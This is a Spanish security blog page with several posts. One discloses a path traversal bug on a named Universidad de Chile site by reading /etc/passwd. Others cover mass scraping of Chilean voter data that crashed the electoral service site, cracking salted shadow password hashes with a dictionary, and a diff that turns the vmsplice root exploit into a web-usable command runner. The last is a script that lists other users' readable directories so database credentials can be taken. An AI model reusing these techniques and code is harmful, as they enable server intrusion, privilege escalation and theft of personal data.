EtiquetaSeguridad

Vulnerabilidad en un sitio de la Universidad de Chile

Se trata del sitio de la biblioteca virtual de la Facultad de Economia y Negocios (FEN) de la Universidad de Chile. Hace un par de dias descubri una vulnerabilidad del tipo path disclosure en https://bibliodoc.fen.uchile.cl.

La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse hacia el link podiamos ver:

uchile-path

Si modificabamos ese link, remplazando documento para descargar.pdf por alguna ruta a un archivo de sistema, podremos descargarlo. Por ejemplo

uchile-path1

Con ../../../../ nos aseguramos retroceder lo suficiente para llegar a la raiz y con /etc/passwd le decimos al script download.php que nos entregue el fichero passwd, que guarda la informacion de usuarios de sistema. Obteniendo lo siguiente:

uchile-path2

Dias despues de explotar y confirmar esta vulnerabilidad, me di el trabajo de comunicarles a los de soporte de ese sitio sobre este fallo obteniendo una respuesta en poco tiempo. Estaban muy agradecidos por haberles comunicado el problema. En unos minutos me agrego a gtalk/jabber el desarrollador del portal y me hizo unas preguntas, para saber como habia logrado explotar esa vulnerabilidad y en que consistia y, luego de haberle respondido algunas preguntas y haberlo ayudado, rapidamente solucionó el problema.

Las vulnerabilidades de tipo file/path disclosure son aquellas donde de alguna u otra forma podemos acceder a archivos del sistema que estan fuera del path de la web, como en este caso, por ejemplo si la web hubiese estado en /var/www/bibliodoc, mediante este bug pudimos acceder a un archivo ubicado en /etc/ que, claramente, esta fuera del directorio.

La importancia de la seguridad de la información

La importancia que tiene la seguridad de la información y el poder que implica manejar información es un tema muy delicado que no está en el conocimiento de muchos. En el contexto de internet, muchos usuarios no le dan mayor importancia a su información que publican en la red y de qué forma lo hacen y más aún, muchos no diferencian lo privado de lo público, no por que no quieran o por que no saben como diferenciar una cosa de la otra, simplemente es por ignorancia. Para mucha gente es normal pertenecer en redes sociales y publicar su vida, mientras más conocidos sean y más amigos tengan en esa red social más importante se creen y es esta “vulnerabilidad” la que se está explotando: La ingenuidad y/o ignorancia del usuario. Por otro lado están las empresas, quienes son las encargadas de manejar la información privada y/o pública que los usuarios les confían, por ejemplo en el caso de un concurso, típicamente los datos que piden son nombre, apellido, ciudad, rut/dni, etc. Personalmente me pregunto ¿Para qué quieren mi rut/dni en un concurso, si con mi teléfono es suficiente para que me puedan ubicar? La respuesta es simple, todos esos datos van a una base de datos que puede ser vendida o usada para enviar publicidad no deseada, más conocido como spam. Estoy seguro que a nadie nos gustaria que esto fuese realidad, pero lo es. Por más que la empresa nos intente explicar por medio de “letra chica” o “términos y condiciones” que el uso de nuestra información está fuera de peligro y que serán usados sólo para tal y tal fin. Pues eso es mentira. He tenido experiencias y tengo las pruebas necesarias que eso no ocurre, ni si quiera las entidades del gobierno son capaces de cumplir con algo tan básico como es la protección de la información privada y, de hecho, ni si quiera los mismos usuarios son capaces de proteger su información.

En Chile, la falta a la protección de datos es algo que se da demasiado seguido, ya sea por empresas privadas o publicas (estatales o gubernamentales).

Hace un tiempo se publicó una base de datos con la información de más de 5 millones de chilenos y posteriormente, se publicó un buscador que nos permitia encontrar los datos de cualquier persona. Existen entidades encargadas de proteger esa información, en este caso es el sitio web de el Servicio Electoral (Servel), de donde fue obtenida la información. Poco tiempo despues de ésta publicación, realizamos una prueba de concepto programando un algoritmo capáz de obtener los datos desde ese sitio nuevamente, lo que tuvo un resultado positivo para nosotros. Pudimos obtener más de 4 millones de datos sobre los chilenos. En este intento, el sitio web del servel se cayó dos veces, estando el sitio abajo mas de 12 horas, cada véz que se cayó. Al entrar al sitio se podia ver un mensaje de que el espacio en disco estába lleno debido a los logs, esto quiere decir que cuando reactivaron el sitio, los encargados del sitio debieron haber vaciado ese directorio de logs y obviamente no se dieron el trabajo de analizarlo sino hasta el tercer intento que fue cuando decidieron colocar un captcha y, aunque el captcha es “basico”, no gastariamos tiempo en programar un algoritmo que lo rompa si nustra misión ya cumplió su objetivo. Una véz realizado este experimento procedimos a eliminar toda la información que descargamos.

Seguir leyendo

Filtros simples en ettercap

Les motraré cómo crear filtros simples para usar con ettercap, para que podamos modificar parte del tráfico como tags html, conversaciones de chat, etc.
Para esto necesitamos obviamente instalar el suit ettercap-ng, lo podemos descargar desde Sitio oficial ettercap

Haremos las pruebas con el sitio https://www.google.cl, modificaremos el título, el contenido, la imágen, etc.

Seguir leyendo

Descifrando password encriptadas con shadow (md5 + salt)

En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password).
Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la analizamos podemos darnos cuenta de lo siguiente:

  • Lo que nos interesa es solamente root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.
  • Lo que esta antes de “:” corresponde al usuario: root; y lo que sigue es la password.
  • Si descomponemos la password podemos obtener:
  • $1$: Nos indica que corresponde a una encriptacion md5.
  • xOqq7NEt: Es el SALT que se usa para generar el hash del password
  • vDOA0jbLcaiRbGsj3ddz30.: Es el hash salteado de nuestra password.

Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a crackear o descifrar las password en shadow.

El comando mkpasswd nos permite generar un password segun un salt especificado.
Ejemplo:

machine:~$ mkpasswd -H md5 miPassword -S DSfdsdaA
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/

He creado un script para hacer mas eficiente y automatiza un poco el proceso.

Seguir leyendo

root exploit: Ejecutar comando como root

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

  1. 51a52
  2. > char  *_cmd;
  3. 55d55
  4. < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  5. 182,183d181
  6. <
  7. <       printf("[+] root\n");
  8. 185c183,184
  9. <       execl("/bin/bash", "bash", "-i", NULL);
  10. >       system(_cmd);
  11. >       //execl("/bin/bash", "bash", "-i", NULL);
  12. 195a195
  13. >       _cmd = argv[1];
  14. 202,205d201
  15. < printf("———————————–\n");
  16. <       printf(" Linux vmsplice Local Root Exploit\n");
  17. <       printf(" By qaaz\n");
  18. <       printf("———————————–\n");
  19. 221,223d216
  20. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  21. <       printf("[+] page: 0x%lx\n", pages[0]);
  22. <       printf("[+] page: 0x%lx\n", pages[1]);
  23. 241,243d233
  24. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  25. <       printf("[+] page: 0x%lx\n", pages[2]);
  26. <       printf("[+] page: 0x%lx\n", pages[3]);
  27. 258,259d247
  28. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  29. <       printf("[+] page: 0x%lx\n", pages[4]);
  30. 269d256
  31. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami
root
username@machine:~$

Seguir leyendo

dirHack

El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.

  1. #!/bin/sh
  2. # Written by Zerial &amp; Pons
  3. # McDonald‘s Day …
  4. # 21.34, Jun 13 2006 – Updated: 01.41, Jun 15 2006
  5. # # # # # # # # # # # # # # # # # # # # # # # # # #
  6. #  ____  _      _   _            _
  7. # |  _ (_)_ __| | | | __ _  ___| | __
  8. # | | | | | ‘__| |_| |/ _` |/ __| |/ /
  9. # | |_| | | |  |  _  | (_| | (__|   < # |____/|_|_|  |_| |_|__,_|___|_|_
  10. #
  11. # # # # # # # # # # # # # # # # # # # # # # # # # #
  12. version="1.0.2"
  13. if [ $# -lt 2 ]
  14. then
  15.         echo
  16.         echo "DirHack eXploit $version"
  17.         echo "This thing will list all sub-home directories"
  18.         echo "that are accesable by the user running the"
  19.         echo "script."
  20.         echo -e "tusage: $0 id output-file bz2|gz|text (default is text)"
  21.         echo -e "texample: $0 999 out bz2"
  22.         echo
  23.         break
  24. else
  25.         echo > $2
  26.         if [ ! –w $2 ]
  27.         then
  28.                 echo "File $2 doesn’t have write permissions"
  29.                 break
  30.         fi
  31.  
  32.         freedirs="public_html public_ftp etc tmp mail"
  33.         echo "Starting DirHack $version"
  34.         echo "DirHack eXploit $version" >> $2
  35.         for dir in $freedirs
  36.         do
  37.                 for user in `awk -F‘:’ ‘ {printf $1 "n"} ‘ /etc/passwd`
  38.                 do
  39.                         userhome=`cat /etc/passwd |grep $user: |grep :$(id -u $user): |awk -F‘:’ ‘ {printf $6 "n"}’`
  40.                         fulldir=$userhome/$dir
  41.                         if [ `id -u $user` -gt $1 ]
  42.                         then
  43.                                 if [ -d $fulldir ]
  44.                                 then
  45.                                         echo "" >> $2
  46.                                         echo "————————————————————-" >> $2
  47.                                         echo "User: $user" >> $2
  48.                                         echo "Directory: $fulldir" >> $2
  49.                                         echo "Size: `du -sh $fulldir`" >> $2
  50.                                         echo "" >> $2
  51.                                         ls -Rla $fulldir >> $2
  52.                         fi
  53.                 fi
  54.                 done
  55.         done
  56.         case $3 in
  57.                 bz2)
  58.                         bzip2=`which bzip2`
  59.                         if [ -x $bzip ]
  60.                         then
  61.                                 $bzip2 -f $2
  62.                                 echo "File ready and compressed in $2.bz2"
  63.                         else
  64.                                 echo "No exec permissions for bzip2 or bzip2 not found."
  65.                                 echo "File left uncompressed in $2"
  66.                         fi;;
  67.                 gz)
  68.                         gzip=`which gzip`
  69.                         if [ -x $gzip ]
  70.                         then
  71.                                 $gzip -f $2
  72.                                 echo "File ready and compressed in $2.gz"
  73.                         else
  74.                                 echo "No exec permissions for gzip or gzip not found."
  75.                                 echo "File left uncompressed in $2"
  76.                         fi;;
  77.  
  78.                 *)
  79.                         echo "File ready in $2";;
  80.  
  81.                 esac

Funcionamiento: Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio public_html y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama apache y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.

Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.
Una forma de solucionar este problema es con chroot.